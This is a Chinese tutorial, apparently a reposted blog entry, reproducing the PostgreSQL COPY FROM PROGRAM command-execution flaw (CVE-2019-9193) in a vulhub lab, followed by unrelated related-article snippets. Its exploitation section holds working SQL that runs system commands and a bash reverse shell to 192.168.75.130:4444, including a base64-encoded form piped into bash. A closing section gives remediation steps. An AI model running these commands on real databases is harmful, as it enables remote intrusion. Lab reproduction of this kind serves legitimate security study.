PostgreSQL数据库提权

前面讲述了mysql、SqlServer、Redis数据库相关的提权方式,有兴趣的也可以去看看。

这里讲的postgreSQL数据库提权就是任意命令执行漏洞(CVE-2019-9193)。

目录

数据库简介

漏洞原理

影响版本

漏洞利用

利用前提

漏洞复现

复现准备

复现过程

 漏洞修复


数据库简介

postgreSQL是一个功能强大对象关系数据库管理系统。

漏洞原理

从9.3版本开始,Postgres新增了一个“COPY TO/FROM PROGRAM”功能。这个功能允许数据库的超级管理员用户以及pg_read_server_files组中的任何用户执行操作系统命令。

影响版本

PostgreSQL 9.3 - 11.2

漏洞利用

利用前提

  • 需要登陆
  • 需要高权限

这就意味着,需要进行弱口令爆破或者其他方式知道账号密码登录之后,然后查看是否是高权限。

漏洞复现

复现准备

这里使用vulhub靶场复现,vulhub搭建自行搜索。

cd postgres/CVE-2019-9193
docker-compose up -d
docker-compose down -v     #关闭靶机

然后需要使用dbeaver连接PostgreSQL(看到很多资料都是使用navicat连接的,但是看了一下navicat是需要购买的(有试用期,网上也有很多破解版)不介意的可以去探索使用navicat,因为navicat确实比dbeaver是更强大的)。

dbeaver安装参考链接:【数据库】DBeaver操作所有数据库管理工具使用详解_dbeaver的使用-CSDN博客

dbeaver是一款数据库连接工具,免费且跨平台。

navicat是非常强大的可视化数据库管理工具,提供图形化界面,提供简便的管理方法。

复现过程

1、使用dbeaver连接PostgreSQL:账号/密码为postgres/postgres。

2、然后右键public,新建查询

3、然后执行以下命令

-- 先删除你想要使用但是已经存在的表
DROP TABLE IF EXISTS cmd_exec;-- 创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);-- 执行系统命令利用特定函数,这里输出系统信息
COPY cmd_exec FROM PROGRAM 'id'; -- 查看执行结果
SELECT * FROM cmd_exec;

可以看到成功执行。

4、接下来进一步利用,进行反弹shell。先开启监听nc

5、执行以下反弹shell命令

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.75.130/4444 0>&1'; 
SELECT * FROM cmd_exec;

可以看到这里出现了错误

6、尝试将反弹shell进行base64编码(注意这里不是编码直接放进去,编码后的不能进行执行,要做的是解决数据传输过程中的特殊字符被解析的问题,所以可以写入一条将编码后的解码然后再执行的一条命令)

#编码前
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.75.130/4444 0>&1'; #编码后
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNzUuMTMwLzQ0NDQgMD4mMQo=" | base64 -d | bash';

 成功执行。

7、成功反弹shell

 漏洞修复

  • pg_read_server_files,pg_write_server_files 和 pg_execute_server_program 角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑;
  • 增强密码的复杂度;
  • 进行网络隔离,限制 IP 访问,只允许需要的 IP 连接;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/17400.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

三分钟轻松搞定内容,2024视频号最新AI自动生成影视解说,,百分之百过原创, 月入1万+

在这个数字时代,我们有幸见证了AI技术对创新的推动。现如今,一个崭新的平台出现了,它能让你用AI软件在短短3分钟内制作完成一段影视解说,而且由于这个平台尚属于新兴,竞争者稀少,提供了一个广阔的机遇天地。…

Mysqldump备份与恢复Mysql全部数据库的数据

博主使用docker安装的mysql,现在需要迁移全部的mysql数据库,使用其他工具时,可能导致接口不通(mysql8.4与mysql8.0就不通),使用mysqldump原生工具进行迁移: 全部数据库的数据备份 mysqldump -…

爬虫利器Frida RPC入门——夜神模拟器环境篇

Frida是一款轻量级HOOK框架,可用于多平台上,例如android、windows、ios等。 frida分为两部分,服务端运行在目标机上,通过注入进程的方式来实现劫持应用函数,另一部分运行在系统机器上。frida上层接口支持js、python、…

【MySQL数据库】存储过程实战——图书借阅系统

图书借阅归还 借阅不用count判断,归还不用具体字段值判断 每次借阅或者归还只能操作1本 数据准备 -- 创建数据库 create database db_test3 CHARACTER SET utf8 COLLATE utf8_general_ci; -- 使用数据库 use db_test3; -- 创建图书信息表: create tabl…

鸿蒙高级题库

判断题 1、云函数打包完成后,需要到AppGallery Connect创建对应函数的触发器才可以在端侧中调用 (错) 2、在column和Row容器组件中,aligntems用于设置子组件在主轴方向上的对齐格式,justifycontent用于设置子组件在交…

帆软生成csv文件

帆软官网提供了导出csv文件的插件,需要下载指定版本的插件 请选择具体的详情点击官网介绍:文档介绍 插件地址:插件地址

免费分享一套SpringBoot+Vue企业客户关系CRM管理系统【论文+源码+SQL脚本+PPT】,帅呆了~~

大家好,我是java1234_小锋老师,看到一个不错的SpringBootVue企业客户关系CRM管理系统,分享下哈。 项目视频演示 【免费】SpringBootVue企业客户关系CRM管理系统系统 Java毕业设计_哔哩哔哩_bilibili【免费】SpringBootVue企业客户关系CRM管…

表空间[MAIN]处于脱机状态

达梦数据库还原后&#xff0c;访问数据库报错&#xff1a;表空间[MAIN]处于脱机状态 解决方法&#xff1a; 1&#xff1a;检查备份文件 DMRMAN 中使用 CHECK 命令对备份集进行校验&#xff0c;校验备份集是否存在及合法。 ##语法&#xff1a;CHECK BACKUPSET <备份集目录…

Linux IO模型深度解析与实战应用

linux的5种IO模型 一、这里IO是什么 操作系统设有用户态与内核态,确保系统安全。应用程序默认在用户态运行,而执行如IO操作等底层任务时,需切换至内核态以高效执行。 服务器从网络接收的大致流程如下: 1、数据通过计算机网络来到了网卡 2、把网卡的数据读取到 socket 缓…

【CSS】input宽度根据内容自适应

目标&#xff1a;纯css实现以下功能 input 设置width:min-content | max-content&#xff1b;//无效 ∵ 文本输入框通常会被浏览器渲染为具有固定宽度的控件。 解决方法&#xff1a;设置input的宽高都为100%&#xff0c;让它随着父元素的宽高改变。 父元素如何改变呢&#xf…

企企通入选第一新声《2024年中国CIO数字化产品选型白皮书》供应链数字产品可信名录

近日&#xff0c;第一新声研究院根据多年产业数字化研究&#xff0c;历经近半年时间&#xff0c;并综合近200位CIO调研与推荐意见&#xff0c;发布《2024年中国CIO数字化产品选型白皮书》&#xff0c;并推出企业CIO选型指南及可信产品名录。企企通凭借其优秀的采购数字化与供应…

让全世界都能使用你的代码:Python 模块上传 PyPI 全攻略(一步步带你发布自己的 Python 模块到 PyPI)

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 PyPI 发布教程 📒📝 什么是 PyPI📝 模块的结构和必备文件📝 打包你的模块📝 上传到 PyPI📝 配置 PyPI 账号📝 解决常见问题⚓️ 相关链接 ⚓️📖 介绍 📖 你是否曾经想过,自己写的 Python 模块也能发布到 Py…

【乐吾乐3D可视化组态编辑器】模型类型与属性

编辑器地址&#xff1a;3D可视化组态 - 乐吾乐Le5le 本章主要为您介绍模型的属性功能。 一个模型至少会包含一个节点&#xff08;Node&#xff09;&#xff0c;从节点类型上可以分为转换节点&#xff08;TransformNode&#xff09;、网格&#xff08;Mesh&#xff09;、实例网…

【脑洞大开】Typora Plugin给你的Typora插上翅膀

很厉害的插件&#xff0c;好几个都是我想有但是没有支持的插件&#xff0c;比如标签页&#xff0c;全局关键字高亮 目前支持的功能&#xff1a; 序号插件功能1window_tab标签页管理2search_multi全局多关键字搜索3multi_highlighter多关键字高亮4collapse_paragraph章节折叠5c…

Linux定期清理nginx 日志

为了在Linux系统上定期清理Nginx日志&#xff0c;可以使用cron定时任务来自动执行日志清理脚本。以下是详细步骤&#xff1a; 1. 创建日志清理脚本 首先&#xff0c;创建一个脚本&#xff0c;用于归档和清理旧的Nginx日志。例如&#xff0c;将其命名为 /usr/local/bin/clean…

正确解决java.lang.NoSuchMethodException异常的有效解决方法

正确解决java.lang.NoSuchMethodException异常的有效解决方法 文章目录 报错问题报错原因解决方法 报错问题 java.lang.NoSuchMethodException异常 报错原因 java.lang.NoSuchMethodException 异常在 Java 中表示尝试通过反射&#xff08;java.lang.reflect 包&#xff09;调用…

【Sql Server】随机查询一条表记录,并重重温回顾下存储过程的封装和使用

大家好&#xff0c;我是全栈小5&#xff0c;欢迎来到《小5讲堂》。 这是《Sql Server》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。 温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff01; 目录 前言随机查询语…

小程序大能量:盲盒平台搭建与营销策略

一、引言 在移动互联网的浪潮下&#xff0c;小程序以其轻量级、即用即走的特点&#xff0c;成为了商家与消费者沟通的新桥梁。盲盒经济作为近年来兴起的消费趋势&#xff0c;结合小程序平台&#xff0c;不仅为用户带来了全新的购物体验&#xff0c;也为商家带来了更多的商业机…

k8s安装metrics组件

安装完dashboard之后&#xff0c;可以看到k8s所有组件&#xff0c;但各组件cpu内存使用量没有值&#xff0c;还需要安装metrics组件才行,安装完metric就可以看到各node以及pod的cpu/mem实时使用量了 下面是如何安装metrics 下载Metrics Server 配置文件 wget https://github.c…

leetCode.84. 柱状图中最大的矩形

leetCode.84. 柱状图中最大的矩形 题目思路 代码 class Solution { public:int largestRectangleArea( vector<int>& h ) {int n h.size();vector<int> left( n ), right( n );stack<int> st;// 求每个矩形的第一个小于左边界的矩形 - 用单调栈for ( …